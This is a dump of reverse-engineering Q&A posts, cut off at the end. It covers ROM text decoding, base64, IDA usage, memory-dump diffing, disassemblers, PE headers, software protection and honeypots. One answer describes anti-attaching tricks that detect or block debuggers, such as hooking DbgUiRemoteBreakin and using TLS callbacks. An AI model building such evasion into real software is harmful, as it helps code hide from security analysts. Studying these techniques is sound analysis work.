\n", "Title": "String extraction from an iNES ROM dump", "Tags": "|disassembly|strings|", "Answer": "

There are several approaches to locating strings in an unknown file. One you already tried: strings. This looks for plain, unencoded ASCII text:

\n\n
\n

Strings looks for ASCII strings in a binary file [..] A string is any sequence of 4 (the default) or more printing characters ending with a newline or a null. (man strings)

\n
\n\n

But there are many reasons why this naive approach may fail. First off: not every text in the world is ASCII encoded. In fact, examining your file with a binary editor, you can find graphic images for the font used in the game at offset 0x20010 -- monochrome bitmaps of 8x16 pixels. If you assume the first character (a '0') is numbered zero, then 'A' is at position 31 -- definitely not ASCII text. Of course, it's possible the text drawing routine knows this, and re-orders characters to be printed according to this scheme; but, given the age of this particular game (1987) it is more likely that the textual data is stored according to this weird encoding.

\n\n

In itself, however, this should not be a problem.

\n\n

Googling for this game provides a number of screen shots, and you can read some of the texts that may appear -- \"The last thing you remember\", \"Word of your historic quest\", etc. --, and a noteworthy point is that all text appears to be in ALL CAPS.

\n\n

How does that help? Well, if the encoding is remotely 'normal', the character code of an 'A' might be anything, but you can safely assume that code+1 is 'B', code+2 is 'C', and so on. Now let's assume the text \"THE\" occurs anywhere (a safe assumption). Subtract 'T' from the first byte in the data and note the difference. Subtract this difference from the next byte and test if it is an 'H'; if so, test the same difference on the next byte and see if it is an 'E'. Three times is a charm (in this case), and since the string \"THE\" ought to come up very frequent, you should see lots of hits with the same difference. Then you can write a custom routine to 'convert' all data bytes according to this scheme, and check again if you find useful strings.

\n\n

That didn't work for Shadowgate.

\n\n

Another option is that the text has been deliberately obfuscated. A popular (because fast) option was to XOR text with a constant. That way the text was not readily visible when inspected with a hex viewer, yet could easily be displayed. So I did the same as above, only now with a XOR operation instead of a constant subtraction. It didn't work either.

\n\n

Next: given that SG is a text adventure, it stands to reason the writers tried to stuff as much as possible text into the poor NES memory. To find real world compression (ZIP, LZW) in such an old game is fairly rare, the compression schemes tended to be quite simple. After all, not only RAM was limited but CPU speed as well. What if every character is stored as a 5-bit sequence? That would save lots of memory -- every 8 characters of text could be stored in just 5 bytes, a compression rate of 62.5%.

\n\n

Why \"5-bit\"? We're talking English text here, plus a handful of punctuation characters, plus (maybe) digits '0' to '9'. The alphabet itself is 26 characters long, which leaves another 6 values for anything else -- and, hey, one of the extra codes could mean \"for the next character use all 8 bits\".

\n\n

Checking every 5 bits against my test string (which in cryptography is called a \"crib\"), I found the following:

\n\n
candidate at 0570, delta is 41 H_A\\`THE[TROLL[\ncandidate at 0670, delta is 41 _H\\`ATHE[TROLL[\ncandidate at 0878, delta is 41 `AN`QTHE[TROLL[\ncandidate at 09E3, delta is 41 FROM^THE[DEPTHS\ncandidate at 1380, delta is 41 E[OF[THEM_A[THI\ncandidate at 13F0, delta is 41 ]NX_ATHE[WORDS[\ncandidate at 14C0, delta is 41 PD^`QTHE[FLAME[\ncandidate at 1BBA, delta is 41 UDGE[THEM[BY_A_\ncandidate at 22E0, delta is 41 ]BX_ATHE[GLASS[\ncandidate at 230D, delta is 41 ID_A[THE^SIGN[O\ncandidate at 2375, delta is 41 S[ON[THEM_A\\`AB\ncandidate at 2390, delta is 41 LLOW[THE^VISCOU\ncandidate at 2528, delta is 41 F]PX_THE[STONE[\ncandidate at 25E6, delta is 36 @CP=KTHE@?OFHBS\ncandidate at 27F8, delta is 41 YDP]ATHE[BARK[O\ncandidate at 2B1E, delta is 41 D_H\\]THE[WATER[\n
\n\n

.. and many more. You can see it works, because I also decoded a few bytes before and after the test string, and that's recognizable as 'something' as well. The 'delta' shown is the difference between the five-bit code (0..31) and ASCII, and you can see it's 41 for the majority of strings (the only exception seems a false positive).

\n\n

To assure that this is correct, I tried with another crib: KING (it's a fantasy game):

\n\n
candidate at 0661, delta is 41 Y[LOOKING[SPEAR\ncandidate at 23B4, delta is 41 [DRINKING[TAR_A\ncandidate at 2B5D, delta is 41 [DRINKING_A\\`AA\ncandidate at 8E1B, delta is 43 \\XVFDKINGDHEEVE\ncandidate at 146F9, delta is 34 JL54HKING48A4:D\n
\n\n

That seems to work out as well: not the 'king' I was expecting, but nevertheless good results with a delta of 41, random stuff with another delta.

\n\n

But finding useful strings this way is rather fortunate, because of course there is no guarantee that reading every 5 bits starting at the first byte should display anything useful. There may be lots of other strings in between the ones shown, but they didn't happen to start on a multiple of 5*8 bits. Suppose there was no text at position #0, but there was at position #1, then I cannot see it:

\n\n
 bits for byte 0,1\n 0000.0000 TTTT.T000 (T = Text character bits)\n ---\n reading 1st 5 bits\n 1111.1??? ????.????\n 2nd 5 bits -- the wrong ones!\n .... .111 11??.????\n
\n\n

To properly decode all strings, you'd now take the following route:

\n\n\n" }, { "Id": "3003", "CreationDate": "2013-11-02T22:48:20.783", "Body": "

I want to operate honeypots for malware analysis purpose and packet capture.

\n\n

What honeypots are recommended for beginners ? And, what is the best to set-up an honeypot, should it be in a real machine or in a virtual machine ? Finally, does this technique really work for malware capture or is there a better way to get real malware ?

\n", "Title": "What Honeypots are recommended to capture malwares (for analysis)?", "Tags": "|malware|", "Answer": "

You should take a look at the honeynet project as it's probably the most well known implementation of a honey pot, and it includes plenty of tools and instructions to set up the honey pot and properly set up logging information. You can also see this thread as the accepted answer here provides a lot of detail and perspective about what you should think about when you're setting up a honeypot.

\n\n

Any time you're doing any kind of analysis or interaction with malware you should be running it inside of a Virtual Machine. Security procedures aside you never know what you're going to run into when you're doing analysis.

\n\n

That being said, there is plenty of malware that operates differently if it detects it's running inside of a virtual machine vs. a real system but if you're just getting started I would recommend doing your analysis inside of a VM.

\n" }, { "Id": "3021", "CreationDate": "2013-11-07T08:13:06.420", "Body": "

I am starring at the following which looks like base64 but not quite:

\n\n
$ curl -s 'http://cgp.compmed.ucdavis.edu/chapr/education/PATHOBIOLOGY%20OF%20THE%20MOUSE%20TIER%201A/MICROANATOMY/Images/EX02-0006-4.svs?XINFO' | xpath -q -e '//cdata'\n<cdata>/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==</cdata>\n<cdata>/9j/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEPERETFhwXExQaFRERGCEYGh0dHx8fExciJCIeJBweHx7/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==</cdata>\n<cdata>/9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==</cdata>\n
\n\n

However this does not appear to be proper base64 encoded stream:

\n\n
$ openssl enc -base64 -d <<< /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\n
\n\n

openssl returns nothing as if it was invalid base64.

\n\n

What is the encoding used in this case ?

\n\n

EDIT:

\n\n

I was confused by the output. The encoded is actually a valid JPEG header, it does not contains no image, but it contains a valid JPEG Quantization Table (DQT) & Huffman Table(s) (DHT).

\n", "Title": "Invalid base64 encoding", "Tags": "|decryption|encodings|", "Answer": "

When I looked into the URL, I can see that the base64 encoded data is having newline character.

\n\n

When you remove newline characters and present that as one single line to openssl, you need the -A option.

\n\n

The below will work fine.

\n\n
$openssl enc -A -d -base64 <<< /9j/2wBDAAMCAgICAgMCAgIDAwMDBAYEBAQEBAgGBgUGCQgKCgkICQkKDA8MCgsOCwkJDRENDg8QEBEQCgwSExIQEw8QEBD/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\n
\n\n

Or you can also use still a simple method as below

\n\n
$ echo \"/9j/2wBDAAoHBwgHBgoICAgLCgoLDhgQDg0NDh0VFhEYIx8lJCIfIiEmKzcvJik0KSEiMEExNDk7Pj4+JS5ESUM8SDc9Pjv/xAAfAAABBQEBAQEBAQAAAAAAAAAAAQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGRoQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2RlZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/2Q==\" | base64 --decode\n
\n\n

We can also do this with notepad++ using MIME tools plugin.

\n\n

This proves this is base64 encoded data.

\n" }, { "Id": "3026", "CreationDate": "2013-11-08T21:28:40.887", "Body": "

I want to make a program that can intercept events (something like OnClickFolder as well as OnClickFile). Is there a way Spy++ or similar programs can do this?

\n", "Title": "How to use Spy++ to find OnClickFolder or OnClickFile events in Windows Explorer?", "Tags": "|windows|", "Answer": "

Yes, Spy++ can detect folder- and file-clicks in shell windows. Just make sure you're monitoring the right process (typically Explorer.exe).

\n" }, { "Id": "3031", "CreationDate": "2013-11-10T16:32:28.183", "Body": "

When you open the stack window in IDA with Ctrl-K there is a comment at the top saying:

\n\n

; Two special fields \" r\" and \" s\" represent return address and saved registers.

\n\n

When I made some mistake and undefined these fields, then how can I recreate them? Defining data creates just a normal variable type. Or can those not be set, so I have to live with the data types?

\n", "Title": "IDA special fields in stack window", "Tags": "|ida|", "Answer": "

Easiest solution is to undefine the function (navigate in the disassembly to the beginning of the function and press U) and then redefine the function (navigate in the disassembly to the beginning of the function and press P). Note that this will reset any variable names you had already set, though.

\n" }, { "Id": "3036", "CreationDate": "2013-11-14T09:28:45.523", "Body": "

I'm comparing memory dumps in python with diStorm and volatility and try to analyze for given MemoryDumps (the 'dump' and the 'truth') whenever or not there was process injection.

\n\n

Mainly I try to match processes and vads in to dumps to each other to compare them, but i get quiet a lot of white noise (false positives).

\n\n

Here is a log I received comparing two clean memory dumps only by comparing modules (notepad and calc):

\n\n
[10:08:13] Loading  'D:\\notepad.zip'\n[10:08:36] Loading  'D:\\calc.zip'\n[10:08:59] No match found for #208 \"calc.exe\"!\n[10:08:59] 01/17    matching \"csrss.exe\"\n[10:09:08] 02/17    matching \"VBoxTray.exe\"\n[10:09:18] 03/17    matching \"svchost.exe\"\n[10:12:51] 04/17    matching \"ctfmon.exe\"\n[10:12:55] 05/17    matching \"VBoxService.exe\"\n[10:13:24] 06/17    matching \"smss.exe\"\n[10:13:25] 07/17    matching \"explorer.exe\"\n[10:14:39] Module difference @ 0x772fb186   \"\\WINDOWS\\system32\\shlwapi.dll\"\nSUB AL, 0x77                    SUB AL, 0x77\nPOP ESP                         MOV DL, 0x14\nDB 0x15                         DB 0xbd\nDB 0x2d\n[10:14:39] Module difference @ 0x772fb817   \"\\WINDOWS\\system32\\shlwapi.dll\"\nXOR [EAX], EAX                  XOR [EAX], EAX\nADD [EAX], AL                   DB 0x0\nDB 0x0                          DB 0xbd\n[10:14:39] Module difference @ 0x77fb5e17   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [ECX+0x0], AH               ADD [EDI+0x0], CH\nINS BYTE [ES:EDI], DX           DB 0x74\n[10:14:39] Module difference @ 0x77fb5e1f   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [EBP+0x0], AH               ADD [ECX+0x0], AH\nDB 0x78                         DB 0x64\n[10:14:39] Module difference @ 0x77fb5e27   \"\\WINDOWS\\system32\\ntdll.dll\"\nADD [EAX], AL                   ADD [EAX+0x0], BH\nDB 0x0                          DB 0x65\nDB 0x73\n[10:14:41] 08/17    matching \"spoolsv.exe\"\n[10:15:24] 10/17    matching \"svchost.exe\"\n[10:15:47] 11/17    matching \"msmsgs.exe\"\n[10:16:06] 12/17    matching \"svchost.exe\"\n[10:16:38] 13/17    matching \"svchost.exe\"\n[10:17:08] 14/17    matching \"winlogon.exe\"\n[10:18:03] 15/17    matching \"services.exe\"\n[10:18:19] 16/17    matching \"lsass.exe\"\n[10:19:15] Module difference @ 0x74414320   \"\\WINDOWS\\system32\\samsrv.dll\"\nADD [EAX], AL                   JO 0x743bffb4\nADD [EAX], AL                   ADC AL, 0xc\nADD [EAX], AL                   OR AL, 0xde\nADD [EAX], AL                   INTO\n[10:19:15] Module difference @ 0x74414546   \"\\WINDOWS\\system32\\samsrv.dll\"\nADD [EAX], AL                   ADD [EAX], AL\nADD [EAX], AL                   DB 0xff\nADD [EAX], AL                   DB 0xff\nDB 0x0                          DB 0xff\n[10:19:16] Module difference @ 0x76f411bf   \"\\WINDOWS\\system32\\wldap32.dll\"\nADD [EAX], AL                   ADD AL, CH\nDB 0x3e                         JAE 0x76f2000f\nDB 0xc\n[10:19:17] Module difference @ 0x77cff169   \"\\WINDOWS\\system32\\rpcrt4.dll\"\nDB 0x3                          MOV AL, [0x49ff5965]\nDB 0x35\nDB 0xa1\nIN AL, 0x3a\n[10:19:20] 17/17    matching \"System\"\n
\n\n

If i try ans also compare the executable image of the process I recieve even more noise

\n\n
[12:10:13] 01/17    matching \"csrss.exe\"\n[12:10:22] Instruction missmatch @ 0x5302db (13)\nADD [EAX-0x671ea561], CH        ADD AL, CH\nRETF                            AND AL, 0x98\nAND ECX, 0x2b0003               CWDE\n[12:10:22] Instruction missmatch @ 0x53033b (6)\nADD [EBP+0x0], AH               ADD [EBX+0x0], DH\n[12:10:22] Instruction missmatch @ 0x5304c7 (9)\nADD [EAX], AH                   ADD AL, CH\nADC EAX, 0x95d8bc65             ADD [EAX], AL\nTEST AL, 0xe1                   ADD [EAX], AL\n[12:10:22] Instruction missmatch @ 0x53065d (2)\nADD [EBX], AL                   ADD [EAX+EAX], AL\n[12:10:22] Instruction missmatch @ 0x5307bb (6)\nADD [EBX+0x0], DH               ADD AL, CH\n[12:10:22] Instruction missmatch @ 0x5307c5 (7)\nADD [EAX+EAX-0x439c6800], AH    ADD [ECX+0x0], BL\n[12:10:22] Instruction missmatch @ 0x530864 (1)\nSTD                             FLD DWORD [EAX]\n[12:10:22] Instruction missmatch @ 0x53086d (4)\nADD [EAX+EAX+0x18], AL          ADD [EDX+0x60551800], AL\n[12:10:22] Instruction missmatch @ 0x53096c (13)\nCMP [EBP+0x65], CH              MOV AL, [0x70e18a84]\nMOV ESP, 0xe1a895d8             LOOPZ 0x530072\nADD EAX, 0xd0000300             ADD EAX, [EAX]\n
\n\n

Each dump has been created on the same Windows XP VM.\nAny idea on how to filter that noise? Would be thankful for any hint and sorry for my bad english.

\n", "Title": "Differences in memory dumps of executable data", "Tags": "|executable|memory|", "Answer": "

Unfortunately, certain factors are in play that will make it incredibly hard to filter. Specifically, everything from the calling convention windows uses to function prologs to space in said prologues to allow hot patching, etc...Windows' Application Binary Interface (ABI) is incorporated in every execution on the box. Naturally, this means you wont be able to filter it out, as several instructions are fairly common.

\n\n

If you're merely trying to diff binaries to see how similar they are, the main one i would suggest is SSDEEP found in this answer

\n" }, { "Id": "3040", "CreationDate": "2013-11-15T09:39:10.917", "Body": "

I would like to know how are achieved PUFs (Physicaly Unclonable Functions) and if there is a way reverse these hardware electronic components ?

\n\n

Recent papers such as \"Invasive PUF Analysis\" present techniques to extract information from PUFs but, I would like to better understand the basic principles of PUFs and what are the problems when trying to clone it.

\n", "Title": "How are achieved PUFs (Physicaly Unclonable Functions) and can we workaround?", "Tags": "|obfuscation|hardware|", "Answer": "

If you are looking to better understand the basic principles of PUFs, I would warmly recommend the lecture notes of Boris Skoric. Chapter 5 is all about PUFs: history, examples, applications and entropy. Some of the things presented there are also formalized, which requires a decent level of information theory knowledge.

\n" }, { "Id": "3042", "CreationDate": "2013-11-15T21:36:18.173", "Body": "

I have a proprietary file format that is a compressed database file. This database file has a few dozen tables. Each of these tables only have a few records, many of them don't have any records at all. A few of these tables contain fields that are stored as blobs of hex data. These blobs account for 99% of the disk space of the overall database file.

\n\n

As far as I can tell, these blobs are not compressed data (by using unix 'file' command). I have tried finding known values in these blobs by exporting values from the proprietary software, converting to hex and searching for that value in the database file. So far I haven't been able to find any matches. The problem is that the software can export in a myriad of formats and I'm not sure which one (if any) the data would be stored in.

\n\n

Most of the tables contain checksum fields, which I believe, are responsible for my inability to edit the blobs and see what changes in the proprietary software. This combined with the fact that I cannot directly change the values that I wish to extract from the proprietary files leaves me in a difficult position.

\n\n

Does anybody know any tricks for trying to tease out time series data from binary data?

\n\n

Edit\nThis zip file contains 2 hex blobs (index and value) from the decompressed database and the same data as it is exported from the program.

\n", "Title": "Decoding a blob", "Tags": "|binary-analysis|", "Answer": "

After seeing the test files (thanks!):

\n\n

... too easy :)

\n\n

In value.hex, the first dword appears to be a total file length; the second dword the data length. The third and fourth dwords may be flags of some kind and do not appear to point to data. This lops off the first 16 bytes, hence my guess the 2nd dword is 'data length'.

\n\n

Right after this header comes that familiar pair 78 9C again, so I brought out my zlib decoder wrapper. Unpacking value.hex, starting at offset 0x10, and using TINFL_FLAG_PARSE_ZLIB_HEADER (as I am using miniz.c for eaze) gave me a correct unpacking result and a data file of 33,208 bytes long.

\n\n

Inspecting this with 0xED shows this file consists entirely out of double values (8 bytes each); the first few are

\n\n
0.991932\n0.991931\n0.991932\n0.991932\n0.991932\n0.991933\n
\n\n

(okay, there appears to be a pattern here -- the devil is in the last few digits which 0xED doesn't show, they are not all the same values).

\n\n

The second file, index.dat, also unpacks correctly and gives another long list of double values, this time clearly going up:

\n\n
0.0000\n0.0082\n0.0163833\n0.0245667\n
\n\n

I didn't cross-reference these values against the XLS file you provided, I assume you can work that out from here.

\n\n

I only unpacked until I got a positive result back, I did not check if there are more data packets (compressed or otherwise) following the first one and you should verify using the end result of your own favourite decompression routine.

\n\n
\n\n

Just as I was heading to bed, it struck me that the 3rd and/or 4th dwords in the header (weren't they the same anyway?) may be the 'unpacked' length.

\n" }, { "Id": "3044", "CreationDate": "2013-11-16T14:43:44.000", "Body": "

Do disassemblers detect the use of C/C++ standard functions and specify them in the output code, adding the #include line to the appropriate header file (such as stdio.h or even windows.h)?

\n\n

If not, does the whole big library is being recognized as the developer's own business-logic code, and written fully? Aren't the standard libraries known binary sequences (or can be processed some way to be known, as a binary-code can be different because of addressing)?

\n\n

Do you know disassemblers that do detect standard functions and properly #include them in the output?

\n", "Title": "Do disassemblers detect standard functions?", "Tags": "|ida|disassembly|disassemblers|", "Answer": "

One thing that's important to realize is that standard runtimes are commonly treated as any other code or library. How compiled code is linked and loaded depends a lot on the platform. .net is very different from c++.

\n\n

Basically functions have at least three major ways of showing up inside of your binary:

\n\n

Dynamically linked

\n\n

This when a function is kept inside of a dynamically loaded library and is the case for many of the functions you'd get through windows.h as you said. Identifying these are generally easy as they're functionally separated and named either through their string name, decorated or undecorated, or through ordinal. Most disassemblers should handle dynamically linked standard functions without issues. This is the most common default for various compiler, runtime and platform options. This depends on the compiler being able to move the function to a separate compilation unit, which is commonly not the case with many templates in C++. Calling conventions are respected and prologue and epilogue are present.

\n\n

Statically linked and not inlined

\n\n

This is when a function is included inside of your binary but is functionally separate from other functions. This can be identified using a set of signatures of some form. IDA uses FLIRT signatures. Something like bindiff uses a more varied and complex approach to comparing functions, for instance using flow graph analysis. Usually parameters are passed according to calling convention unless the binary is built with link time optimization in which case the compiler is free to pass arguments in any order it feels like. If you're lucky the binary contains debug information which could allow for significant recovery of function names and parameters.

\n\n

Statically linked and inlined

\n\n

This is when a function is included inside of your binary and is not functionally separate from other functions. This generally happens when a function is small enough that the overhead to do a function call is expensive enough to warrant repeating the same function in the calling function or if the function is only called in very few locations, usually once, in the binary. This means that the disassembler has very little information to know that this was originally a separate function and debug information will not help much with recovery of these functions. There will be no function prologue or epilogue. Opcodes can be heavily rearranged/ The only tool I'm aware of that does very limited recovery of this sort of function is Hex-Rays decompiler, not diassembler. I've seen binaries with link time optimization where a function ends up being a massive result of hundreds of nested inlined functions, resulting in a function with thousands of branches. Separating them back out into their original functions would have been a very useful operation to have.

\n\n

Finally

\n\n

There is no solution that solves all the cases mentioned above. Hex-Rays IDA combined with their decompiler and BinDiff probably provides the most complete solution I know of. On very reflective platforms such as .net, java or python this isn't much of an issue.

\n" }, { "Id": "3047", "CreationDate": "2013-11-17T14:38:34.517", "Body": "

Normally I struct is a fixed size. Is it possible to define a structure which contains an element which has different sizes?

\n\n

To illustrate what I mean is this.

\n\n

The layout of the data in the file looks like this:

\n\n
ID          WORD 0\nFunctionPtr DWORD OFFSET Fkt\nName        db 'Name of the function',0\nalign 4\n
\n\n

'Name' is now a C-String which is as long until it reaches the 0-byte at the end and then follows the align instruction. So is it possible to tell IDA that the structure is including the string, no matter how long it is?

\n", "Title": "Creating a struct in IDA which contains a cString?", "Tags": "|ida|struct|", "Answer": "

IDA introduced "Variable Length Structures" and describe the usage of it with a very straight forward tutorial.

\n

In short, you need to make sure the "flexible" item is the last item of the struct, and define it as an array of size 0. To do this, define a new struct member char Name, click on it and press *. Then, set the "Array size" to 0.

\n

Now, the shortcoming is that IDA won't look for a null terminator to define the string, but instead, you'd have to tell it its size every time you want to use the structure.

\n" }, { "Id": "3048", "CreationDate": "2013-11-17T15:49:57.383", "Body": "

According to IDA the file I'm inspecting has imagebase 0x400000. The first data I can see starts at 0x401000 but the program reads some data which is at 00400174.

\n\n

When I put a data access breakpoint there, it breaks in ntdll!RtlpImageDirectoryEntryToData32 which probably means that there is some process data (using Windows 7). Where can I find some information as to what exactly is there stored?

\n\n

From the call stack it looks like there should be some resource data as there is\nFindResource among other things.

\n\n
ChildEBP RetAddr  \n0012f998 7c910385 ntdll!RtlpImageDirectoryEntryToData32+0xf\n0012f9b8 7c9118c0 ntdll!RtlImageDirectoryEntryToData+0x57\n0012fa84 7c911db7 ntdll!LdrpSearchResourceSection_U+0x34\n0012faa0 7c80ad8b ntdll!LdrFindResource_U+0x18\n0012faf4 7e419dbb kernel32!FindResourceExW+0x64\n0012fb18 7e42c924 user32!LoadStringOrError+0x31\n0012fb3c 00404bcd user32!LoadStringA+0x1c\n
\n", "Title": "What data before the code segment in PE files?", "Tags": "|windows|pe-resources|", "Answer": "

The data at virtual address 00400174 is the IMAGE_DATA_DIRECTORY entry for IMAGE_DIRECTORY_ENTRY_RESOURCE.

\n\n

Read the PE/COFF specification at http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v83.docx, and use either a hex editor or a PE editor to navigate through the PE header content.

\n" }, { "Id": "3049", "CreationDate": "2013-11-17T17:47:04.860", "Body": "

I tried UPX, ASPack and other protectors, but it seems that my application has a weak protection.

\n\n

What is the best method for protecting your program? Using packers or something else?

\n\n

At least for a beginner; because I guess there is no perfect protection in the planet an expert can't reverse.

\n", "Title": "Is there a perfect method for protecting executable files?", "Tags": "|packers|copy-protection|", "Answer": "

The answer is a clear NO. Whatever protection you do could still be improved if so desired.

\n\n

The question is a little bit unclear, as there are many different protections possible.\n - protect against reverse engineering\n - protect against executing on the wrong computer\n - protect against copying\n - protect against modifications.\n - ...\nwhatever method is best for one purpose may not be best for some other purpose.\nWhen you know what you are against, you are really in a better situation to make a good protection.

\n\n

You could also say there is no perfect protection, as any protection can be broken. But maybe that doesn't matter: maybe the time to brake a particular protection with todays computer-speeds is similar to the age of the universe? Maybe the protection is just good enough to protect your executable until the protection is no more needed. Maybe it is just good enough so that an attacker gives up just before suceeding? Maybe it makes it just hard enough so that an attacker chooses to work on an another program. Maybe it is broken within minutes after a release...

\n\n

In practice: Unless you are a seasoned protection engeneer or very good hacker and reverse engineer, your protection will be broken in surprisingly short time. On the other side, if you understand what you are doing: Know what compilers generate, know what is hard to reverse engineer, know the program to be protected, know the machine architecture, build the protection in from the beginning, or use some professional protection tools, understand the applications performance requirements, you can keep more or less everybody out. There is some debate about that. Before a protection finally is cracked, protectors err by thinking is too hard; reverse engineers err by thinking it is too easy. Actually when you create high-end protections you might never know, as attackers for high-end stuff won't tell you if/when they succeeded.

\n\n

There are plenty of tools to help making protections, the price range for such tools goes from free to astronomical. I don't know whether this discussion list allows me to name companies. If you want to find out mine, or any other, google for tamper-proofing.

\n" }, { "Id": "3057", "CreationDate": "2013-11-19T20:14:48.373", "Body": "

Sometimes I've tried to attach Ollydbg to applications those have some protection against debuggers, but I have never coded any of these applications and did not see this protection in many applications... So it looks like it is not hard to bypass this, however I am curious and never tried it before. How do you do it guys? (at least some examples on some simple program).

\n\n

Thanks in advance.

\n", "Title": "How to attach debugger to app if it has protection against attaching?", "Tags": "|anti-debugging|", "Answer": "

Anti-attaching depends heavily on the fact that windows creates a remote thread in the target\nprocess. What is specific about this thread is usually used to detect attaching.

\n\n

For example: \nThe entry point Windows chooses for the attaching thread is by default the \"DbgUiRemoteBreakin\" function. Anti-attaching tricks usually hook this function or its\nsibling, the \"DbgBreakPoint\" function.

\n\n

Also, The fact that the attaching thread (like most normal threads) will have\nthe associated TLS callbacks called is also exploited to detect attaching.

\n\n

Debug blocks, NtContinue, ThreadHideFromDebugger etc.

\n\n

http://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques.html\nhttp://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_11.html\nhttp://waleedassar.blogspot.de/2011/12/debuggers-anti-attaching-techniques_13.html\nhttp://waleedassar.blogspot.de/2012/02/debuggers-anti-attaching-techniques_15.html\nhttp://waleedassar.blogspot.de/2012/11/sizeofstackreserve-as-anti-attaching.html

\n" }, { "Id": "3061", "CreationDate": "2013-11-20T12:57:46.693", "Body": "

I have a small function that is given a struct as parameters. The struct looks to something like this:

\n\n
struct my_struct {\n  short a;\n  unsigned int b;\n  unsigned int c;\n};\n
\n\n

Taking care of the alignment I build the following struct in IDA:

\n\n
field_0 +0x0\nfield_1 +0x4\nfield_2 +0x8\n
\n\n

The compiler builds it so that it takes rbp+0x10 as the first field in the struct, rbp+0x14 as the second and so on. The problem now arises because if I try to apply the pre-defined IDA struct to the instructions, I always get something like [rbp+struct.field_0+0x10]. This get more complicated if there is actually something in my struct at +0x10, because then it just shows [rbp+struct_fieldX] (which is wrong).

\n\n

The question is: Is there a way to tell IDA (I'm using 6.3) to apply the struct with an offset of 0x10?

\n\n

The dirty trick for this simple case is to create a struct that has 2 size_t dummy fields for the RIP and SFP, but that does not seem to be right way to go here.

\n", "Title": "IDA Pro: use structs on parameters", "Tags": "|ida|struct|", "Answer": "

Add your struct in the function's stack view:

\n\n
    \n
  1. With your cursor in the function's disassembly view, press Ctrl+K to open the stack view.
    2. \n
  2. In the stack view, ensure that enough function arguments exist to get to at least +00000010 in the stack. Use D to add more function arguments as necessary.
    3. \n
  3. Position your cursor on the +00000010 line in the stack view and press Alt+Q to specify my_struct at that offset.
    4. \n
\n" }, { "Id": "3063", "CreationDate": "2013-11-20T19:46:02.990", "Body": "

In fuzzing (with Pintool) to get examining execution traces of the program, here it is wget. I get some weird instructions, following is a piece extracted from a (very long) trace:

\n\n
